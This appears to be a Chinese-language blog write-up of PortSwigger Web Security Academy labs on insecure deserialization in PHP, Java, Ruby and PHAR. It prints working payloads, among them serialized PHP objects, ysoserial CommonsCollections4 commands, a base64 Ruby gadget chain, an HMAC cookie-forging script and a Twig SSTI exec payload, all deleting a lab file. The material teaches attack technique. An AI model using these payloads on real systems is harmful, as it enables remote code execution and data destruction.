burp 不安全的反序列化

burp 不安全的反序列化

  • 理论

https://portswigger.net/web-security/deserialization/exploiting#how-to-identify-insecure-deserialization

Lab: Modifying serialized objects 修改序列化对象

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects

某功能点中的请求包发现序列化的PHP对象,布尔值篡改,响应包都有路径(访问admin路径,删除用户)
image

image

image

image

Lab: Modifying serialized data types 修改序列化数据类型

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types

一把梭:说白了就是 == 比较符各数据类型之间 的八嘎问题

bp扩展: Hackvertor【人家建议你在操作二进制时先把它转成字符串,对字符串操作,它会自动更新二进制数据】
image

用户名注入:改 administrator,比较访问token时 0 与 一串token比较出现的八嘎问题导致绕过
image

image

Lab: Using application functionality to exploit insecure deserialization 使用应用程序功能来利用不安全的反序列化

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization

讲的是某功能点比如删除,代审demo:$user->image_location中的$user为序列化对象,改变的值为image_location,因为只能篡改它的值,此值背后由删除函数接收,所以利用的是删除功能,任意文件删除。

image

image

image

Lab: Arbitrary object injection in PHP PHP 中的任意对象注入

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php

程序特性一把梭:不必显式调用的方法;其中一个例子就是 Magic methods(魔术方法)
意识提升:实例化时,它可能隐式调用或运行了其他程序中的一些特性,这些特性的值可控,被注入了。
威胁狩猎:关注程序中的任何类中的隐式调用特性(术:关注魔术方法)
demo:php的__construct();python的__init__;java的readObject()
任意对象注入:为什么要注入值或者篡改值,而不是直接注入一个新的恶意对象呢?遍历包含反序列化隐式调用(魔术方法)的类,然后检查它们是否对可控数据执行危险操作,传入此类的序列化对象,以使用其隐式调用(魔术方法)进行攻击。

所谓的站点地图,地图映射从而找到“新资产”的“意识”如下:
image

黑盒,瞎勾八测:表面上你只能发现传输了序列化对象,因为是会话管理的自带机制,你并不知道这个php页面是否“工作或有效”,也不知道干嘛用了。
image

波浪号阅读源码
image

构造函数:初始化对象时隐式触发
https://www.php.net/results.php?q=__construct&l=zh&p=all(不是搜索__construct,而是全站搜索)

析构函数:如果没有其他对象的引用就调用该函数,或在关闭过程中调用
https://www.php.net/results.php?q=__destruct&l=zh&p=all

利用类CustomTemplate的实例化的__destruct()隐式调用函数执行unlink($this->lock_file_path)危险操作
image

原会话管理:O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"tw1vgws80zifgp1izru3gb7e7if75jrr";}
payload:O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";} 其实还是注入值,但又注入类名,又注入其方法名,从而达到"任意"对象注入(User对象变成了CustomTemplate对象或类,随你怎么叫,无所diao味)
image

Lab: Exploiting Java deserialization with Apache Commons 利用 Java反序列化 通过 Apache Commons

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons

小工具链:涉及一长串方法调用,称为“小工具链”,gadget链(上一个实验中的隐式方法的套娃版本:一长串方法之后导致利用了最后一个“八嘎”方法)。就是所谓的CC链或AA链等类似nulei poc yaml中的子集。
手动识别小工具链相当艰巨,并且在没有源代码访问的情况下几乎不可能。
预先发现的链:从开源源码部署或共用组件的引用从而发现的这些链子,对“新目标”进行重放攻击。
Java 的 Apache Commons Collections 库中的小工具链(CC链全称):比如该库存在小工具,则可以使用同一链来利用实现该库的任何其他网站。
java小工具链版本的ysoserial:可选择你认为目标应用程序正在使用的库提供的小工具链之一,传入你想要执行的命令。它根据所选链创建适当的序列化对象。无法识别目标用了什么库?全量枚举盲猜就行了。

并非 ysoserial 中的所有小工具链都允许运行任意代码。它们可能有其他用途。
可以使用以下方法来快速检测几乎任何服务器上的不安全反序列化:
URLDNS 链(包含在ysoserial的payload中):不依赖目标应用程序使用特定易受攻击的库,可以在任何已知的 Java 版本中运行。用于检测目的的最通用的小工具链。 如果在流量中发现序列化对象,则可以尝试使用此小工具链生成一个对象,该对象触发与 Burp Collaborator 服务器的 DNS 交互。
JRMPClient 链(包含在ysoserial的payload中):另一个可用于初始检测的通用链。它使服务器尝试与提供的 IP 地址建立 TCP 连接。 需要提供原始 IP 地址而不是主机名。 此链在所有出站流量(包括 DNS 查找)均受防火墙保护的环境中可能很有用。 您可以尝试使用两个不同的 IP 地址生成有效负载:本地 IP 地址和受防火墙保护的外部 IP 地址。 如果应用程序立即响应具有本地地址的有效负载,但对具有外部地址的有效负载则挂起,导致响应延迟,这表明小工具链有效,因为服务器尝试连接到受防火墙保护的地址。盲打指标:在这种情况下,响应中细微的时间差异可以帮助您检测服务器上是否发生反序列化。

ysoserial Java 版本 16 及更高版本(不实用):

java -jar ysoserial-all.jar \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
   --add-opens=java.base/java.net=ALL-UNNAMED \
   --add-opens=java.base/java.util=ALL-UNNAMED \
   CommonsCollections4 'rm /home/carlos/morale.txt' | base64

ysoserial Java 版本 15 及以下版本中:

java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

payload:jdk 1.8.0_161一把梭(base64 -w 0 file.txt 不换行)
image

image

java序列化hex:aced
image

image

image

image

Lab: Exploiting PHP deserialization with a pre-built gadget chain 通过预构建的小工具链利用 PHP 反序列化

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain
PHP Generic Gadget Chains (PHPGGC):大多数不安全反序列化漏洞影响的语言都有等效的概念验证工具

token:Base64 签名(比如对token值进行签名):sig_hmac_sha1
image

image

用户名篡改一下触发错误,引出错误指纹:Symfony Version: 4.3.6(数据关联大法,关联PHP版本的小工具链poc)
image

到了这里,基于序列化的漏洞篡改已经进行不下去了,因为存在签名检查。需要联合其他漏洞类型。

/cgi-bin/phpinfo.php 环境变量信息泄露 SECRET_KEY:f2cqq0sysktcjv8tqswwumwr6ewmuv5y
image

PHPGGC工具:https://github.com/ambionics/phpggc
直接github下载压缩包拖kali运行即可,生成payload
image

对payload进行参数签名

<?php
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

BASE64值的连续性,注意不要换行
image

image

Lab: Exploiting Ruby deserialization using a documented gadget chain Ruby 反序列化 使用记录的小工具链利用

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain
使用已记录的小工具链:与所有poc或exp情况一样,有时您可能需要自己序列化对象,调整代码可能需要对语言和框架有一些基本的了解,但这种方法仍然比从头开始构建漏洞要省力得多。

搜索:ruby deserialization gadget chain -->来到:https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
上面文章中嵌入另一篇文章:https://www.elttam.com/blog/ruby-deserialization/#content
大致摘要如下:
标准库不一定默认全加载;通过全局变量污染加载标准库Gem.deflate;一个实例尝试加载第三方库;require参数的部分控制;隐式调用的钩子方法const_missing(当菜单没有这道菜时,你可以与服务员谈,服务员就可理解为是钩子方法,服务员根据此钩子方法的内部逻辑执行其他自定义的八嘎东西);它本身就允许执行任意系统命令,小工具链寻找结束;测量可用的小工具的类等直到最后给出POC

修改文章中给出的POC
image

在线编译器:https://www.onlinegdb.com/online_ruby_compiler
不行换别的:https://onecompiler.com/ruby/42dcgjyeq
image

处理换行 tr -d "\n\r"

echo "BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06
OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBp
b286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVh
ZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRl
YnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdl
bTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2Rf
aWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxl
LnR4dAY7DFQ7EjoMcmVzb2x2ZQ==" | tr -d "\n\r"

image

Lab: Developing a custom gadget chain for Java deserialization 开发用于 Java 反序列化的自定义小工具链

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization

要成功构建自己的小工具链,需要访问源代码。
1.识别包含反序列化期间调用的隐式方法(魔术方法)的类
2.评估魔术方法执行的代码是否可控(不可控则为“启动小工具”)
3.研究启动小工具调用的任何方法,寻找可控
4.弄清楚如何在应用程序代码中成功构建小工具链,下一步就是创建包含有效负载的序列化对象
5.用目标语言编写自己的代码以便自己生成和序列化数据通常要简单得多:使用二进制格式(例如构建 Java 反序列化漏洞利用时)可能特别麻烦。

用于序列化对象的通用 Java 程序:https://github.com/PortSwigger/serialization-examples/tree/master/java/generic

image

image

image

image

GPT大法好
隐式方法(魔术方法)的类:ProductTemplate
钩子方法:readObject;defaultReadObject;JdbcConnectionBuilder.from;connectionBuilder.connect;statement.executeQuery;Product.from
启动小工具:readObject方法
数据流:序列化类ProductTemplate,它的参数流入属性id,后端反序列化时触发钩子方法readObject,进一步触发序列化与SQL注入

image

漏洞利用链:序列化与SQL注入
image

提供的payload模板:https://github.com/PortSwigger/serialization-examples/blob/master/java/solution/Main.java
image

image

image

administrator mf5mv77udo25247z8rwc

image

Lab: Developing a custom gadget chain for PHP deserialization 开发用于 PHP 反序列化的自定义小工具链

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization

达不溜大法好:概念、模式、决策
概念:交给GPT或官网,重点关注尽量弄明白它什么意思
模式:你准备怎么审计这个PHP代码,如下
决策:跟踪模式走,计划都出来了,不123456步走完岂不是一来还不如别计划了

GPT大法好:源码丢GPT给解释,尽量弄明白它什么意思,差不多得了
隐式方法(魔术方法)的类:CustomTemplate等
钩子方法:__wakeup()
启动小工具:CustomTemplate类-->触发__wakeup()-->创建Product-->引用default_desc_type和descDefaultMap类-->__get()-->call_user_func()-->$name传入值到DefaultMap的callback
数据流:CustomTemplate 的 __wakeup() 魔术方法通过引用 default_desc_type 和 desc 来创建新的 Product。DefaultMap 类具有 __get() 魔术方法,尝试读取该对象不存在的属性,则会调用该方法。call_user_func(),它将执行通过 DefaultMap->callback 属性传递给它的任何函数。 该函数将在 $name 上执行,这是所请求的不存在的属性。

image

小工具链:传入 CustomTemplate 对象来调用 exec(rm /home/carlos/morale.txt)

CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt";
CustomTemplate->desc = DefaultMap;
DefaultMap->callback = "exec"

payload

O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}

image

image

image

Lab: Using PHAR deserialization to deploy a custom gadget chain 使用 PHAR 反序列化部署自定义小工具链

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain

英文阅读一把梭:在我的博客,b站甚至朋友圈N次提及王银的,如何掌握英文阅读的底层思维,短时间内将阅读能力提升到最强的实用性引人深思。
没有反序列化功能,也能?:在 PHP 中,即使没有明显使用 unserialize() 方法,有时也可以利用反序列化。
隐式组件(隐式方法的套娃版本),URL-style wrappers URL风格的包装器(各种漏洞类型可能反复出现,比如XXE中的wrappers引入漏洞):可以使用它们在访问文件路径时处理不同的协议。其中之一是 phar:// 包装器,它提供了用于访问 PHP Archive (.phar) 文件的流接口。
对 phar:// 流执行任何文件系统操作,该元数据将被隐式反序列化:PHP 文档显示 PHAR 清单文件包含序列化元数据。phar:// 流可能是利用不安全反序列化的攻击向量,前提是您可以已可控的方式将此流传递到文件系统方法中。
明显危险的文件系统方法保护的很好,其他方法保护的没那么好:例如 include() 或 fopen(),网站可能已实施对策以减少它们被恶意使用的可能性。 然而,像 file_exists() 这样的方法,虽然不是那么明显危险,但可能没有得到很好的保护。
以某种方式将 PHAR 上传到服务器。:例如图像上传功能。创建一个多语言文件,将 PHAR 伪装成 JPG。强制网站从 phar:// 流加载此多语言“JPG”,通过 PHAR 元数据注入的任何有害数据都将被反序列化。由于 PHP 读取流时不会检查文件扩展名,因此文件使用图像扩展名并不重要。

URL-style wrappers 指标
image

图片的加载方式:GET /cgi-bin/avatar.php?avatar=wiener
image

image

Blog.php和 CustomTemplate.php文件

小工具链 Blog->desc和 CustomTemplate->lockFilePath()

image

image

file_exists()函数

image

image

漏洞组合利用链:该网站使用 Twig 模板引擎,可以使用反序列化来传入服务器端模板注入 (SSTI) payload。 找到用于在 Twig 上执行远程代码的payload或Nday
payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
创建包含 SSTI payload的自定义CustomTemplate和Blog:

class CustomTemplate {}
class Blog {}
$object = new CustomTemplate;
$blog = new Blog;
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog->user = 'user';
$object->template_file_path = $blog;

搜索:phar jpg polyglot 网上找
现成的:https://github.com/PortSwigger/serialization-examples/blob/master/php/phar-jpg-polyglot.jpg
image

上传多语言类型的payload JPG头像
使用phar://流触发反序列化 GET /cgi-bin/avatar.php?avatar=phar://wiener

正常与异常对比:
image

image

posted @   sec875  阅读(176)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
点击右上角即可分享
微信分享提示